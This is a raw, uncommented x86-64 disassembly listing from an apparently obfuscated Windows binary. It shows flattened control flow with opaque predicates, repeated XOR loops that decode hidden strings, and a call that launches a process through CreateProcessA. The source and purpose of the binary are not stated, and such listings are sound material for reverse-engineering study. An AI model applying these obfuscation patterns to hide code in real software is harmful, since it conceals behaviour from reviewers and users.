jmp 0x1403648ea
mov rax, qword [rbp + 0x198]
movzx eax, word [rax]
mov dword [rbp + 0x138], eax
movsxd rax, dword [rbp + 0x148]
imul rbx, rax, 0x51eb851f
mov rdi, rbx
shr rdi, 0x3f
sar rbx, 0x24
add ebx, edi
imul ebx, ebx, 0x32
sub eax, ebx
mov dword [rbp + 0x140], eax
mov ebx, 0xb96442a5
jmp 0x1403648ea
mov ebx, 0x2f1a8b30
jmp 0x1403648ea
mov dword [rbp + 0x148], edx
mov eax, dword [rbp + 0x148]
cmp eax, 9
mov ebx, 0x34abb7a1
cmovl ebx, r9d
jmp 0x1403648ea
movsxd rax, dword [rbp + 0x148]
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x190]
lea rax, [rcx + rax*2]
mov qword [rbp + 0x198], rax
mov ebx, 0xed51ceca
jmp 0x1403648ea
mov ebx, 0x99324306
xor edx, edx
jmp 0x1403648ea
cmp ebx, 0x34abb7a1
jne 0x1403648ea
mov ecx, 0xcb338767
jmp 0x14036478d
cmp ecx, 0xd155fb1f
je 0x140364c9a
cmp ecx, 0xe29e52eb
jne 0x14036478d
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0x188], rax
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x32ffbaa7
mov eax, 0x22da1d90
jmp 0x140364780
cmp ecx, 0xd6d5a1
je 0x140364cb8
cmp ecx, 0xb1a22af
jne 0x14036478d
cmp byte [rbp + 0xf0], 0
mov ecx, 0x74423369
mov eax, 0x4af83285
cmovne ecx, eax
jmp 0x14036478d
cmp ecx, 0x30636ac0
je 0x140364df4
cmp ecx, 0x32ffbaa7
jne 0x14036478d
mov rax, qword [rbp + 0x178]
mov ecx, 0xe29e52eb
jmp 0x14036478d
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x30636ac0
mov eax, 0xffe2ec1c
jmp 0x140364780
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x32ffbaa7
cmove ecx, r11d
cmp dword [0x140ae80c0], 0xa
cmovl ecx, r11d
jmp 0x14036478d
mov ecx, 0xd155fb1f
jmp 0x14036478d
mov qword [rbp + 0x160], r8
mov ecx, 0x4be33bfd
jmp 0x14036478d
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x17fdc9fd
mov eax, 0xb1a22af
jmp 0x140364780
mov eax, dword [0x140ae80cc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae80d0], 0xa
setl cl
or cl, al
mov r10d, 0x290c383d
mov eax, 0xfccaf4b1
cmovne r10d, eax
mov ecx, 0x290c383d
mov eax, 0xe9966ea0
cmovne ecx, eax
movzx r9d, word [r8 + 0x10]
mov esi, 0x62375d7
mov eax, 0xb39fb905
cmovne esi, eax
mov edi, 0x62375d7
mov eax, 0xea2ad473
cmovne edi, eax
mov edx, 0xfdb9d5d8
jmp 0x140364d20
mov edx, 0x12d06eb6
nop dword [rax]
mov ebx, edx
cmp edx, 0xfdb9d5d7
jle 0x140364d50
cmp ebx, 0x12d06eb5
jg 0x140364d80
mov edx, edi
cmp ebx, 0xfdb9d5d8
je 0x140364d20
mov edx, ebx
cmp ebx, 0x62375d7
jne 0x140364d20
mov edx, 0xea2ad473
jmp 0x140364d20
cmp ebx, 0xea2ad472
jg 0x140364da5
cmp ebx, 0xb39fb905
je 0x140364d18
mov edx, ebx
cmp ebx, 0xe9966ea0
jne 0x140364d20
cmp word [rbp + 0x198], 0
setne al
mov edx, r10d
jmp 0x140364d20
mov edx, ecx
cmp ebx, 0x12d06eb6
je 0x140364d20
mov edx, ebx
cmp ebx, 0x290c383d
jne 0x140364d20
movzx edx, word [rbp + 0x198]
mov edx, 0xe9966ea0
jmp 0x140364d20
cmp ebx, 0xea2ad473
jne 0x140364dbc
mov word [rbp + 0x198], r9w
mov edx, esi
jmp 0x140364d20
mov edx, ebx
cmp ebx, 0xfccaf4b1
jne 0x140364d20
and al, 1
mov byte [rbp + 0x190], al
mov al, byte [rbp + 0x190]
mov byte [rbp + 0xf0], al
mov ecx, 0xf6812407
mov r9d, 0xb3d2b23b
mov r10d, 0x93d17422
jmp 0x14036478d
mov ecx, 0xffe2ec1c
jmp 0x14036478d
cmp ecx, 0x548cb6a1
jne 0x14036478d
mov rax, qword [rbp + 0x188]
mov eax, 0xdac22761
jmp 0x140364010
mov eax, 0x8db08303
jmp 0x14036363d
mov eax, 0xf04ef98a
jmp 0x14036363d
mov eax, dword [0x140ae0b78]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x77bd85e6
mov ecx, 0x19ef4cc6
jmp 0x140363630
mov rsi, qword [rbp + 0x20]
mov eax, dword [rbp + 0x4c]
mov r9, qword [rbp - 8]
mov r8, qword [rbp - 0x68]
sub rsp, 0x30
mov dword [rsp + 0x20], eax
mov edx, 0x109
mov rcx, rsi
call fcn.14029fd20
add rsp, 0x30
mov rax, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov rax, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x70]
sub rsp, 0x50
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
add rsp, 0x50
mov rsi, qword [rbp + 0x70]
mov rcx, qword [rsi]
sub rsp, 0x20
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add rsp, 0x20
mov rcx, qword [rsi]
mov rdx, qword [rbp + 0x68]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov r10d, 0x93d17422
mov r9d, 0xb3d2b23b
mov r11d, 0xe29e52eb
add rsp, 0x20
mov rax, qword [rbp + 0x68]
mov eax, 0xb0386b27
jmp 0x14036363d
mov rax, qword [rbp - 0x20]
mov rcx, qword [rax]
sub rsp, 0x20
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
add rsp, 0x20
mov rax, qword [rbp + 0x70]
mov rcx, qword [rax + 8]
sub rsp, 0x20
call rsi
mov r10d, 0x93d17422
mov r9d, 0xb3d2b23b
mov r11d, 0xe29e52eb
add rsp, 0x20
cmp dword [rbp + 0x100], 0
mov eax, 0x3254c070
mov ecx, 0xa387a94c
cmove eax, ecx
jmp 0x14036363d
mov ecx, 0xfef18d07
mov r8, qword [rbp + 0x18]
nop word [rax + rax]
cmp ecx, 0x3417d38e
jle 0x140364fa0
cmp ecx, 0x3417d38f
je 0x140364fd2
cmp ecx, 0x435df5b1
je 0x1403658bd
cmp ecx, 0x62661ee7
jne 0x140364f70
jmp 0x140367086
cmp ecx, 0x895b1e32
je 0x1403658c7
cmp ecx, 0xfef18d07
jne 0x140364f70
mov ecx, dword [0x140ae0b88]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x895b1e32
mov eax, 0x3417d38f
jmp 0x1403658ab
mov ecx, 0x9bdd7bd5
jmp 0x14036500d
mov ecx, dword [0x140ae477c]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0xde6b5a5a
mov eax, 0xa05f427b
nop word cs:[rax + rax]
nop dword [rax]
cmove ecx, eax
cmp dword [0x140ae4780], 0xa
cmovl ecx, eax
cmp ecx, 0xed571972
jg 0x140365060
cmp ecx, 0xbb5f667d
jg 0x1403650c0
cmp ecx, 0x9bdd7bd4
jle 0x14036513e
cmp ecx, 0x9bdd7bd5
je 0x14036547b
cmp ecx, 0xa05f427b
je 0x14036553f
cmp ecx, 0xabbce9cb
jne 0x14036500d
mov ecx, 0x11f8d03
jmp 0x14036500d
cmp ecx, 0x3e40e90e
jle 0x140365110
cmp ecx, 0x57cd5f94
jle 0x140365182
cmp ecx, 0x57cd5f95
je 0x140364fd9
cmp ecx, 0x60165972
je 0x140365564
cmp ecx, 0x7a29332e
jne 0x14036500d
mov eax, dword [0x140ae477c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xeb855ebf
mov eax, 0x981e3acc
jmp 0x140365000
cmp ecx, 0xc9c8b958
jle 0x1403651b3
cmp ecx, 0xc9c8b959
je 0x14036556e
cmp ecx, 0xde6b5a5a
je 0x140365578
cmp ecx, 0xeb855ebf
jne 0x14036500d
mov rax, qword [rbp + 0x188]
mov ecx, 0x981e3acc
jmp 0x14036500d
cmp ecx, 0x11f8d02
jle 0x140365459
cmp ecx, 0x11f8d03
je 0x140365582
cmp ecx, 0x179b5785
jne 0x14036587f
mov ecx, 0x807cb049
jmp 0x14036500d
cmp ecx, 0x807cb049
je 0x1403655a0
cmp ecx, 0x981e3acc
jne 0x14036500d
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x190], rax
mov eax, dword [0x140ae477c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xeb855ebf
mov eax, 0xf7faf550
jmp 0x140365000
cmp ecx, 0x3e40e90f
je 0x14036586e
cmp ecx, 0x4c03b46e
jne 0x14036500d
cmp byte [rbp + 0xe8], 0
mov ecx, 0x3e40e90f
mov eax, 0x57cd5f95
cmovne ecx, eax
jmp 0x14036500d
cmp ecx, 0xbb5f667e
je 0x1403655be
cmp ecx, 0xbc2b49d4
jne 0x14036500d
mov rcx, qword [rbp + 0x178]
mov ebx, 0x11a5ada4
jmp 0x140365200
mov dword [rbp + 0x160], edx
mov ebx, dword [rbp + 0x160]
cmp ebx, 7
mov ebx, 0x1de194da
mov eax, 0x2074da02
cmovl ebx, eax
nop word cs:[rax + rax]
nop
cmp ebx, 0x11a5ada3
jle 0x140365260
cmp ebx, 0x3316ddf3
jg 0x1403652a0
cmp ebx, 0x2074da01
jle 0x14036533f
cmp ebx, 0x2074da02
je 0x1403653cc
cmp ebx, 0x24f32e0d
jne 0x140365200
mov eax, dword [0x140ae80e4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xd75b66ce
cmove ebx, r13d
cmp dword [0x140ae80e8], 0xa
cmovl ebx, r13d
jmp 0x140365200
cmp ebx, 0xd75b66cd
jg 0x1403652f0
cmp ebx, 0x9f12df2f
je 0x140365374
cmp ebx, 0xa3955eeb
je 0x140365394
cmp ebx, 0xb363b3a2
jne 0x140365200
mov ebx, 0x7cd39bd4
jmp 0x140365200
cmp ebx, 0x3316ddf4
je 0x1403651d9
cmp ebx, 0x5313badd
je 0x14036537e
cmp ebx, 0x7cd39bd4
jne 0x140365200
mov ebx, dword [0x140ae80e4]
lea edi, [rbx - 1]
imul edi, ebx
test dil, 1
mov ebx, 0xb363b3a2
cmove ebx, r15d
cmp dword [0x140ae80e8], 0xa
cmovl ebx, r15d
jmp 0x140365200
cmp ebx, 0xd75b66ce
je 0x14036538a
cmp ebx, 0xf46bf6cf
je 0x1403653bc
cmp ebx, 0xff985b09
jne 0x140365200
mov rax, qword [rbp + 0x198]
movzx ebx, byte [rbp + 0x148]
mov byte [r8 + rax], bl
mov eax, dword [rbp + 0x160]
add eax, 1
mov dword [rbp + 0x110], eax
mov ebx, 0x24f32e0d
jmp 0x140365200
cmp ebx, 0x11a5ada4
jne 0x14036542f
mov ebx, dword [0x140ae80e4]
lea edi, [rbx - 1]
imul edi, ebx
test dil, 1
mov ebx, 0xb363b3a2
cmove ebx, r12d
cmp dword [0x140ae80e8], 0xa
cmovl ebx, r12d
jmp 0x140365200
mov ebx, 0x5313badd
jmp 0x140365200
mov ebx, 0x3316ddf4
xor edx, edx
jmp 0x140365200
mov ebx, 0xa3955eeb
jmp 0x140365200
mov eax, dword [0x140ae80e4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xd75b66ce
cmove ebx, r14d
cmp dword [0x140ae80e8], 0xa
cmovl ebx, r14d
jmp 0x140365200
mov ebx, 0x3316ddf4
mov edx, dword [rbp + 0x110]
jmp 0x140365200
movsxd rbx, dword [rbp + 0x160]
mov qword [rbp + 0x198], rbx
mov rbx, qword [rbp + 0x198]
movsxd rdi, dword [rbp + 0x160]
imul rsi, rdi, 0x51eb851f
mov rax, rsi
shr rax, 0x3f
sar rsi, 0x24
add esi, eax
imul eax, esi, 0x32
sub edi, eax
mov eax, Ordinal_79
sub eax, edi
add edi, 0x34
and eax, 0x44
and edi, 0xbb
or edi, eax
xor dil, byte [rcx + rbx]
xor dil, 0x44
mov byte [rbp + 0x148], dil
mov ebx, 0xff985b09
jmp 0x140365200
cmp ebx, 0x1de194da
jne 0x140365200
mov eax, dword [0x140ae477c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xbb5f667e
mov eax, 0x60165972
jmp 0x140365000
cmp ecx, 0xed571973
je 0x140365831
cmp ecx, 0xf7faf550
jne 0x14036500d
mov ecx, 0x3c5fcee1
jmp 0x14036500d
mov cl, byte [r8 + 6]
mov byte [rbp + 0x110], cl
mov ecx, dword [0x140ae80ec]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140ae80f0], 0xa
setl dl
or dl, cl
mov edi, 0x38ca5479
mov eax, 0x75dc3d8a
cmovne edi, eax
mov edx, 0x38ca5479
mov eax, 0xe38bdab8
cmovne edx, eax
mov ecx, 0x3ec08ec0
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x38ca5478
jle 0x140365510
cmp ecx, 0x38ca5479
je 0x14036552e
cmp ecx, 0x75dc3d8a
je 0x14036584f
cmp ecx, 0x3ec08ec0
jne 0x1403654d0
movsx ecx, byte [rbp + 0x110]
mov dword [rbp + 0x198], ecx
mov ecx, 0x9404ebe4
jmp 0x1403654d0
cmp ecx, 0x9404ebe4
je 0x14036553b
cmp ecx, 0xe38bdab8
jne 0x1403654d0
cmp dword [rbp + 0x198], 0
setne bl
mov ecx, edi
jmp 0x1403654d0
mov ecx, dword [rbp + 0x198]
mov ecx, 0xe38bdab8
jmp 0x1403654d0
mov ecx, edx
jmp 0x1403654d0
mov qword [rbp + 0x178], r8
mov ecx, dword [0x140ae477c]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0xde6b5a5a
mov eax, 0x179b5785
jmp 0x140365000
mov ecx, 0xed571973
jmp 0x14036500d
mov ecx, 0x3e40e90f
jmp 0x14036500d
mov ecx, 0xa05f427b
jmp 0x14036500d
mov eax, dword [0x140ae477c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xabbce9cb
mov eax, 0xc9c8b959
jmp 0x140365000
mov ecx, dword [0x140ae477c]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0xbb5f667e
mov eax, 0xbc2b49d4
jmp 0x140365000
mov rcx, qword [rbp + 0x178]
mov ebx, 0x11a5ada4
jmp 0x1403655f0
mov dword [rbp + 0x160], edx
mov eax, dword [rbp + 0x160]
cmp eax, 7
mov ebx, 0x1de194da
mov eax, 0x2074da02
cmovl ebx, eax
nop dword [rax + rax]
cmp ebx, 0x11a5ada3
jle 0x140365650
cmp ebx, 0x3316ddf3
jg 0x140365690
cmp ebx, 0x2074da01
jle 0x14036572f
cmp ebx, 0x2074da02
je 0x140365783
cmp ebx, 0x24f32e0d
jne 0x1403655f0
mov eax, dword [0x140ae80e4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xd75b66ce
cmove ebx, r13d
cmp dword [0x140ae80e8], 0xa
cmovl ebx, r13d
jmp 0x1403655f0
cmp ebx, 0xd75b66cd
jg 0x1403656e0
cmp ebx, 0x9f12df2f
je 0x140365763
cmp ebx, 0xa3955eeb
je 0x1403657e3
cmp ebx, 0xb363b3a2
jne 0x1403655f0
mov ebx, 0x7cd39bd4
jmp 0x1403655f0
cmp ebx, 0x3316ddf4
je 0x1403655cc
cmp ebx, 0x5313badd
je 0x14036576d
cmp ebx, 0x7cd39bd4
jne 0x1403655f0
mov eax, dword [0x140ae80e4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xb363b3a2
cmove ebx, r15d
cmp dword [0x140ae80e8], 0xa
cmovl ebx, r15d
jmp 0x1403655f0
cmp ebx, 0xd75b66ce
je 0x140365779
cmp ebx, 0xf46bf6cf
je 0x14036580b
cmp ebx, 0xff985b09
jne 0x1403655f0
mov rax, qword [rbp + 0x198]
movzx ebx, byte [rbp + 0x148]
mov byte [r8 + rax], bl
mov eax, dword [rbp + 0x160]
add eax, 1
mov dword [rbp + 0x110], eax
mov ebx, 0x24f32e0d
jmp 0x1403655f0
cmp ebx, 0x11a5ada4
jne 0x14036581b
mov eax, dword [0x140ae80e4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xb363b3a2
cmove ebx, r12d
cmp dword [0x140ae80e8], 0xa
cmovl ebx, r12d
jmp 0x1403655f0
mov ebx, 0x5313badd
jmp 0x1403655f0
mov ebx, 0x3316ddf4
xor edx, edx
jmp 0x1403655f0
mov ebx, 0xa3955eeb
jmp 0x1403655f0
movsxd rax, dword [rbp + 0x160]
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x198]
movsxd rbx, dword [rbp + 0x160]
imul rdi, rbx, 0x51eb851f
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x24
add edi, esi
imul edi, edi, 0x32
sub ebx, edi
mov edi, Ordinal_79
sub edi, ebx
add ebx, 0x34
and edi, 0x44
and ebx, 0xbb
or ebx, edi
xor bl, byte [rcx + rax]
xor bl, 0x44
mov byte [rbp + 0x148], bl
mov ebx, 0xff985b09
jmp 0x1403655f0
mov eax, dword [0x140ae80e4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xd75b66ce
cmove ebx, r14d
cmp dword [0x140ae80e8], 0xa
cmovl ebx, r14d
jmp 0x1403655f0
mov ebx, 0x3316ddf4
mov edx, dword [rbp + 0x110]
jmp 0x1403655f0
cmp ebx, 0x1de194da
jne 0x1403655f0
mov ecx, 0xbc2b49d4
jmp 0x14036500d
mov eax, dword [0x140ae477c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xabbce9cb
mov eax, 0x11f8d03
jmp 0x140365000
and bl, 1
mov byte [rbp + 0x160], bl
mov cl, byte [rbp + 0x160]
mov byte [rbp + 0xe8], cl
mov ecx, 0x4c03b46e
jmp 0x14036500d
mov qword [rbp + 0x188], r8
mov ecx, 0x7a29332e
jmp 0x14036500d
cmp ecx, 0x3c5fcee1
jne 0x14036500d
mov rax, qword [rbp + 0x190]
mov eax, dword [0x140ae0b88]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x895b1e32
mov eax, 0x435df5b1
cmove ecx, eax
cmp dword [0x140ae0b8c], 0xa
cmovl ecx, eax
jmp 0x140364f70
mov ecx, 0x62661ee7
jmp 0x140364f70
mov ecx, 0x9bdd7bd5
jmp 0x1403658fd
mov eax, dword [0x140ae477c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xde6b5a5a
mov eax, 0xa05f427b
nop word [rax + rax]
cmove ecx, eax
cmp dword [0x140ae4780], 0xa
cmovl ecx, eax
cmp ecx, 0xed571972
jg 0x140365950
cmp ecx, 0xbb5f667d
jg 0x1403659b0
cmp ecx, 0x9bdd7bd4
jle 0x140365a2e
cmp ecx, 0x9bdd7bd5
je 0x140365d67
cmp ecx, 0xa05f427b
je 0x140365e22
cmp ecx, 0xabbce9cb
jne 0x1403658fd
mov ecx, 0x11f8d03
jmp 0x1403658fd
cmp ecx, 0x3e40e90e
jle 0x140365a00
cmp ecx, 0x57cd5f94
jle 0x140365a72
cmp ecx, 0x57cd5f95
je 0x1403658ce
cmp ecx, 0x60165972
je 0x140365e47
cmp ecx, 0x7a29332e
jne 0x1403658fd
mov eax, dword [0x140ae477c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xeb855ebf
mov eax, 0x981e3acc
jmp 0x1403658f0
cmp ecx, 0xc9c8b958
jle 0x140365aa3
cmp ecx, 0xc9c8b959
je 0x140365e51
cmp ecx, 0xde6b5a5a
je 0x140365e5b
cmp ecx, 0xeb855ebf
jne 0x1403658fd
mov rax, qword [rbp + 0x188]
mov ecx, 0x981e3acc
jmp 0x1403658fd
cmp ecx, 0x11f8d02
jle 0x140365d45
cmp ecx, 0x11f8d03
je 0x140365e65
cmp ecx, 0x179b5785
jne 0x14036615e
mov ecx, 0x807cb049
jmp 0x1403658fd
cmp ecx, 0x807cb049
je 0x140365e83
cmp ecx, 0x981e3acc
jne 0x1403658fd
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x190], rax
mov eax, dword [0x140ae477c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xeb855ebf
mov eax, 0xf7faf550
jmp 0x1403658f0
cmp ecx, 0x3e40e90f
je 0x140365ea1
cmp ecx, 0x4c03b46e
jne 0x1403658fd
cmp byte [rbp + 0xe8], 0
mov ecx, 0x3e40e90f
mov eax, 0x57cd5f95
cmovne ecx, eax
jmp 0x1403658fd
cmp ecx, 0xbb5f667e
je 0x140365eb2
cmp ecx, 0xbc2b49d4
jne 0x1403658fd
mov rcx, qword [rbp + 0x178]
mov ebx, 0x11a5ada4
jmp 0x140365af0
mov dword [rbp + 0x160], edx
mov eax, dword [rbp + 0x160]
cmp eax, 7
mov ebx, 0x1de194da
mov eax, 0x2074da02
cmovl ebx, eax
nop word cs:[rax + rax]
nop
cmp ebx, 0x11a5ada3
jle 0x140365b50
cmp ebx, 0x3316ddf3
jg 0x140365b90
cmp ebx, 0x2074da01
jle 0x140365c2f
cmp ebx, 0x2074da02
je 0x140365c83
cmp ebx, 0x24f32e0d
jne 0x140365af0
mov eax, dword [0x140ae80e4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xd75b66ce
cmove ebx, r13d
cmp dword [0x140ae80e8], 0xa
cmovl ebx, r13d
jmp 0x140365af0
cmp ebx, 0xd75b66cd
jg 0x140365be0
cmp ebx, 0x9f12df2f
je 0x140365c63
cmp ebx, 0xa3955eeb
je 0x140365ce3
cmp ebx, 0xb363b3a2
jne 0x140365af0
mov ebx, 0x7cd39bd4
jmp 0x140365af0
cmp ebx, 0x3316ddf4
je 0x140365ac9
cmp ebx, 0x5313badd
je 0x140365c6d
cmp ebx, 0x7cd39bd4
jne 0x140365af0
mov eax, dword [0x140ae80e4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xb363b3a2
cmove ebx, r15d
cmp dword [0x140ae80e8], 0xa
cmovl ebx, r15d
jmp 0x140365af0
cmp ebx, 0xd75b66ce
je 0x140365c79
cmp ebx, 0xf46bf6cf
je 0x140365d0b
cmp ebx, 0xff985b09
jne 0x140365af0
mov rax, qword [rbp + 0x198]
movzx ebx, byte [rbp + 0x148]
mov byte [r8 + rax], bl
mov eax, dword [rbp + 0x160]
add eax, 1
mov dword [rbp + 0x110], eax
mov ebx, 0x24f32e0d
jmp 0x140365af0
cmp ebx, 0x11a5ada4
jne 0x140365d1b
mov eax, dword [0x140ae80e4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xb363b3a2
cmove ebx, r12d
cmp dword [0x140ae80e8], 0xa
cmovl ebx, r12d
jmp 0x140365af0
mov ebx, 0x5313badd
jmp 0x140365af0
mov ebx, 0x3316ddf4
xor edx, edx
jmp 0x140365af0
mov ebx, 0xa3955eeb
jmp 0x140365af0
movsxd rax, dword [rbp + 0x160]
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x198]
movsxd rbx, dword [rbp + 0x160]
imul rdi, rbx, 0x51eb851f
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x24
add edi, esi
imul edi, edi, 0x32
sub ebx, edi
mov edi, Ordinal_79
sub edi, ebx
add ebx, 0x34
and edi, 0x44
and ebx, 0xbb
or ebx, edi
xor bl, byte [rcx + rax]
xor bl, 0x44
mov byte [rbp + 0x148], bl
mov ebx, 0xff985b09
jmp 0x140365af0
mov eax, dword [0x140ae80e4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xd75b66ce
cmove ebx, r14d
cmp dword [0x140ae80e8], 0xa
cmovl ebx, r14d
jmp 0x140365af0
mov ebx, 0x3316ddf4
mov edx, dword [rbp + 0x110]
jmp 0x140365af0
cmp ebx, 0x1de194da
jne 0x140365af0
mov eax, dword [0x140ae477c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xbb5f667e
mov eax, 0x60165972
jmp 0x1403658f0
cmp ecx, 0xed571973
je 0x140366121
cmp ecx, 0xf7faf550
jne 0x1403658fd
mov ecx, 0x3c5fcee1
jmp 0x1403658fd
mov al, byte [r8 + 6]
mov byte [rbp + 0x110], al
mov eax, dword [0x140ae80ec]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae80f0], 0xa
setl cl
or cl, al
mov edi, 0x38ca5479
mov eax, 0x75dc3d8a
cmovne edi, eax
mov edx, 0x38ca5479
mov eax, 0xe38bdab8
cmovne edx, eax
mov ecx, 0x3ec08ec0
jmp 0x140365dc0
mov eax, dword [rbp + 0x198]
mov ecx, 0xe38bdab8
nop dword [rax + rax]
cmp ecx, 0x38ca5478
jle 0x140365e00
cmp ecx, 0x38ca5479
je 0x140365db0
cmp ecx, 0x75dc3d8a
je 0x14036613f
cmp ecx, 0x3ec08ec0
jne 0x140365dc0
movsx eax, byte [rbp + 0x110]
mov dword [rbp + 0x198], eax
mov ecx, 0x9404ebe4
jmp 0x140365dc0
cmp ecx, 0x9404ebe4
je 0x140365e1e
cmp ecx, 0xe38bdab8
jne 0x140365dc0
cmp dword [rbp + 0x198], 0
setne bl
mov ecx, edi
jmp 0x140365dc0
mov ecx, edx
jmp 0x140365dc0
mov qword [rbp + 0x178], r8
mov eax, dword [0x140ae477c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xde6b5a5a
mov eax, 0x179b5785
jmp 0x1403658f0
mov ecx, 0xed571973
jmp 0x1403658fd
mov ecx, 0x3e40e90f
jmp 0x1403658fd
mov ecx, 0xa05f427b
jmp 0x1403658fd
mov eax, dword [0x140ae477c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xabbce9cb
mov eax, 0xc9c8b959
jmp 0x1403658f0
mov eax, dword [0x140ae477c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xbb5f667e
mov eax, 0xbc2b49d4
jmp 0x1403658f0
mov qword [rbp + 0x188], r8
mov ecx, 0x7a29332e
jmp 0x1403658fd
mov rcx, qword [rbp + 0x178]
mov ebx, 0x11a5ada4
jmp 0x140365ee0
mov dword [rbp + 0x160], edx
mov eax, dword [rbp + 0x160]
cmp eax, 7
mov ebx, 0x1de194da
mov eax, 0x2074da02
cmovl ebx, eax
nop dword [rax]
cmp ebx, 0x11a5ada3
jle 0x140365f40
cmp ebx, 0x3316ddf3
jg 0x140365f80
cmp ebx, 0x2074da01
jle 0x14036601f
cmp ebx, 0x2074da02
je 0x1403660ab
cmp ebx, 0x24f32e0d
jne 0x140365ee0
mov eax, dword [0x140ae80e4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xd75b66ce
cmove ebx, r13d
cmp dword [0x140ae80e8], 0xa
cmovl ebx, r13d
jmp 0x140365ee0
cmp ebx, 0xd75b66cd
jg 0x140365fd0
cmp ebx, 0x9f12df2f
je 0x140366053
cmp ebx, 0xa3955eeb
je 0x140366073
cmp ebx, 0xb363b3a2
jne 0x140365ee0
mov ebx, 0x7cd39bd4
jmp 0x140365ee0
cmp ebx, 0x3316ddf4
je 0x140365ec0
cmp ebx, 0x5313badd
je 0x14036605d
cmp ebx, 0x7cd39bd4
jne 0x140365ee0
mov eax, dword [0x140ae80e4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xb363b3a2
cmove ebx, r15d
cmp dword [0x140ae80e8], 0xa
cmovl ebx, r15d
jmp 0x140365ee0
cmp ebx, 0xd75b66ce
je 0x140366069
cmp ebx, 0xf46bf6cf
je 0x14036609b
cmp ebx, 0xff985b09
jne 0x140365ee0
mov rax, qword [rbp + 0x198]
movzx ebx, byte [rbp + 0x148]
mov byte [r8 + rax], bl
mov eax, dword [rbp + 0x160]
add eax, 1
mov dword [rbp + 0x110], eax
mov ebx, 0x24f32e0d
jmp 0x140365ee0
cmp ebx, 0x11a5ada4
jne 0x14036610b
mov eax, dword [0x140ae80e4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xb363b3a2
cmove ebx, r12d
cmp dword [0x140ae80e8], 0xa
cmovl ebx, r12d
jmp 0x140365ee0
mov ebx, 0x5313badd
jmp 0x140365ee0
mov ebx, 0x3316ddf4
xor edx, edx
jmp 0x140365ee0
mov ebx, 0xa3955eeb
jmp 0x140365ee0
mov eax, dword [0x140ae80e4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xd75b66ce
cmove ebx, r14d
cmp dword [0x140ae80e8], 0xa
cmovl ebx, r14d
jmp 0x140365ee0
mov ebx, 0x3316ddf4
mov edx, dword [rbp + 0x110]
jmp 0x140365ee0
movsxd rax, dword [rbp + 0x160]
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x198]
movsxd rbx, dword [rbp + 0x160]
